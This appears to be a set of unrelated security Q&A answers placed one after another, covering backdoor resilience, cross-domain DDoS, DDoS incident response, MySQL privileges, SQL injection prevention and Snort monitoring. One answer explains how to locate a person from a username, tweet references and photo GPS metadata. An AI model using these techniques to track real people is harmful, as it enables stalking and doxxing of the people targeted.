Backdoors might be explicitly added or just happen (i.e. bugs) at lots of places, like in the firmware of network cards, CPU, graphic card, USB controllers, printers ...,  in mainstream software like Windows or other OS, Office, browser extensions, some arbitrary software downloaded from the internet, ... . Backdoors might also exist at the hardware level, like a specific sequence of CPU instructions might switch off memory protection or similar or side channels (like Meltdown) allow reading over memory protection barriers.

In order to fully protect against backdoors one must either be aware of all possible backdoors and how they work or one must be sure that no backdoor exists at all. This means that one must either create all hardware, firmware and software oneself and never make a serious bug, or one need to get these things from vendors one can fully trust (i.e. 100.00% -  99.99% is not enough) to never add an explicit backdoor and to never add serious bugs. Even if one will find such vendors (unlikely) these usually need to rely on other vendors and there the trust problem is the same.

The best strategy against backdoors is probably to assume that there will always be some backdoor or bug. The goal is then to make sure that there are as few backdoors/bugs as possible and to make sure that their impact will be as low as possible. This means to buy only from really trustable vendors where one can also (mostly) trust their delivery chain but also to add resilience against possible backdoors/bugs in strategic places. This might for example be a strict firewall which only allows connections to a few places or this might be use of IPSec or similar inside the local LAN since one does not fully trust switches and routers and physical network cards. This means also to isolate different parts of the network from each other but also isolation at the application level (sandboxes, containers, privilege segmentation techniques...) or the OS level (microkernel). This means also to use only the really necessary software and hardware etc. The simpler and the stricter defined an environment is, the easier it can be audited for possible vulnerabilities and the better possible attack vectors can be determined and addressed.


Preventing a web-page from getting hit from another server

Not sure what you're trying to ask, but I'll try to answer to the question I think that you might be asking.

As long as web technologies allow fetching resources from other domains this kind of DDoS attack is possible. Even if the remote server doesn't serve anything back, it must process the requests (eg. uses server resources). This kind of attack would require that malicious site has enough visitors to overwhelm the target server with traffic. This is basically like the slashdot effect, but happens w/o the user knowing that the browser is fetching stuff from the target site.


If the user is not security minded then probably the easiest non-instrusive way will surely be to carry out old fashioned detective work. Using websites such as Pipl and google on the username used. From there you can see if the user has used that username in other websites and start to build up a profile based on the information you can gather.

If that username is no good, another way could be crawl through their previous tweets and see if they make any reference to a specific place more than once.

Another way is to see if they have posted any photos and see if they have GPS meta-data still embedded and see if that correlates to the suspected location of your user. As the FBI recently did on an unsuspecting Anonymous member.


First of all were you sure it was your client and that your system has not been compromised ?
Backup your logs
Contact the police if necessary
How was the DDoS done ?

Make sure your firewall is up and scan your own host with nmap to look for ports that should not be open.

If your client can only use PHP or Shell scripts, you can limit the time and memory his scripts can use. This makes it harder, but not impossible to do an attack.

If your system is compromised you can NOT TRUST it anymore! Rootkits can hide a lot, including feeding you wrong statistics in top or disk usage !

EDIT

If it is a VPS I suspect you got an IP from the destination it has been attacking ? If not ask for the IP.

If you are using NAT then ask them to send you the port range from where the attack occurred. So you can identify the VPS that has been causing trouble.


Mysql database password and webform password

It is not the safest way to do this. A safer way, as you state, would be to have a unprivileged user.

It is unlikely that you can do so by hand; any "User" table that you created would probably be just that, a table, without any effect on actual database users. I guess that your "admin" user is actually a normal user with full privileges on his own database, that can't, say, issue GRANT ALL PRIVILEGES ON yourdb.* TO newuser@host IDENTIFIED BY 'password'; without getting a ERROR 1044 (42000): Access denied for user...,

As it is, you need to implement security at the application level instead of at the database level. However, the MySQLi interface is quite solid (barring shooting yourself in the foot) and it isn't too difficult to prevent possible SQL injections.

Barring that, the users will have admin privileges, but will be unable to use them.


How to filter evil Regex and filter input with regex in python?

To prevent SQL injection you don't need any regex to filter input. In python use prepared statements. No matter what parameter you put to the prepared statement you have a quarantine that there is no SQL injection.


I was assuming that snort monitors packets in HOME_NETWORK in promiscous mode,Kindly correct me if i am wrong.

Snort can only monitor packets which can be seen at the network card, even in promiscuous mode. Usually the switch in a network will only send out packets on the port where the specific device is connected. This means that Snort has to be installed on the monitor port of the switch or similar.

See also http://openmaniak.com/snort_other.php